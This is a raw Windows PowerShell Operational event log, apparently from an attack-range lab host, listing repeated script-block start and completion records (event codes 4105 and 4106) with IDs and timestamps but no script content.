ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032152
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032151
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032145
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032123
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032122
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032121
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032120
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032103
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032102
Keywords=None
